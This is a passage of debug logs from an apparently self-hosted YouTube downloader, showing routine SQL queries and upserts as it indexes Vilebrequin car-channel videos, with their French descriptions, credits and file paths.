OK source="sources" db=0.7ms queue=0.1ms idle=262.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:30.744 [debug] QUERY OK source="media_items" db=6.1ms queue=0.1ms idle=263.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-05 16:15:05Z], 1] 07:41:30.750 [debug] QUERY OK source="media_items" db=4.4ms queue=0.1ms idle=270.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "911aeafb-bbc0-40e5-ac57-5eb5cceddbbd", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", 10, "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, false, false, 1, [], 98, ~U[2023-10-05 16:15:05Z], ~U[2026-04-19 05:41:30Z], ~U[2026-04-19 05:41:30Z], "Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, 1, ~U[2023-10-05 16:15:05Z]] 07:41:30.752 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=276.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:30.754 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=17.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:30.755 [debug] QUERY OK source="media_items" db=0.6ms idle=17.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 07:41:30.756 [debug] Current batch of media processed. Will check again in 1000ms 07:41:31.757 [debug] Current batch of media processed. Will check again in 1000ms 07:41:32.763 [debug] Current batch of media processed. Will check again in 1000ms 07:41:33.764 [debug] Current batch of media processed. Will check again in 1000ms 07:41:34.075 [info] {"source":"oban","duration":2354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:34.766 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "duration" => 3094, "filename" => "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", "id" => "Uav2fXWM2k8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Uav2fXWM2k8", "playlist_index" => 11, "timestamp" => 1695919481, "title" => "McDrive to Survive 2 : GP Explorer 2023", "upload_date" => "20230928"} 07:41:34.768 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=762.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:34.770 [debug] QUERY OK source="sources" db=0.7ms idle=693.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:34.774 [debug] QUERY OK source="media_items" db=3.5ms idle=651.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-28 16:44:41Z], 1] 07:41:34.807 [debug] QUERY OK source="media_items" db=31.9ms idle=299.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "6345e656-44d6-4b45-8e6a-3f1ff754d2fe", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", 11, "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, false, false, 1, [], 98, ~U[2023-09-28 16:44:41Z], ~U[2026-04-19 05:41:34Z], ~U[2026-04-19 05:41:34Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, 1, ~U[2023-09-28 16:44:41Z]] 07:41:34.810 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=332.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:34.811 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=42.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:34.814 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=42.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 07:41:34.814 [debug] Current batch of media processed. Will check again in 1000ms 07:41:35.815 [debug] Current batch of media processed. Will check again in 1000ms 07:41:36.817 [debug] Current batch of media processed. Will check again in 1000ms 07:41:37.818 [debug] Current batch of media processed. Will check again in 1000ms 07:41:38.819 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "duration" => 1806, "filename" => "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", "id" => "ACa7UVXrtvw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ACa7UVXrtvw", "playlist_index" => 12, "timestamp" => 1695312900, "title" => "Essai BMW 2002 Turbo : TURBOOOO", "upload_date" => "20230921"} 07:41:38.822 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=681.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:38.823 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=342.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:38.828 [debug] QUERY OK source="media_items" db=4.2ms idle=344.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-21 16:15:00Z], 1] 07:41:38.832 [debug] QUERY OK source="media_items" db=3.0ms idle=349.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "93ed2ed2-7e25-4f08-a8ec-f60b36d304d9", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", 12, "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, false, false, 1, [], 98, ~U[2023-09-21 16:15:00Z], ~U[2026-04-19 05:41:38Z], ~U[2026-04-19 05:41:38Z], "👍 POUCE 